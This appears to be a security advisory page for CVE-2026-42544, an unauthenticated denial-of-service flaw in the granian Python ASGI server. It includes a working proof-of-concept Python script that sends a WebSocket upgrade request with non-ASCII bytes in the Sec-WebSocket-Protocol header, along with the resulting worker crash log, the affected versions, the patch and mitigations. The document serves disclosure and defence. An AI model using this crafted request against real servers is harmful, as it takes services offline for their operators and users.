CVE-2026-42544 — granian
HIGHCVE-2026-42544 is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in granian. A fix is available for granian — see the affected versions and patch details below.
Granian: Unauthenticated DoS via WebSocket subprotocol header panic
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42544.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
granianReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
Details
HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.
In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.
PoC
Step 1.
starts a Granian ASGI server
# app.py
async def app(scope, receive, send):
if scope["type"] == "websocket":
await receive()
await send({"type": "websocket.accept"})
return
await send({"type": "http.response.start", "status": 200, "headers": []})
await send({"type": "http.response.body", "body": b"ok"})
granian --interface asgi app:app --host 127.0.0.1 --port 8000
Step 2.
sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.
# ws-subproto-crash.py
import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(req)
print(s.recv(4096))
python ws-subproto-crash.py 127.0.0.1 8000 /
Observed server output:
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian
Impact
- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | granian | ≥ 1.2.0&&< 2.7.4 | 2.7.4pip install --upgrade 'granian==2.7.4' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for granian, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update granian to 2.7.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42544 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-42544 in your dependencies?
Find it across PyPI, including transitive dependencies.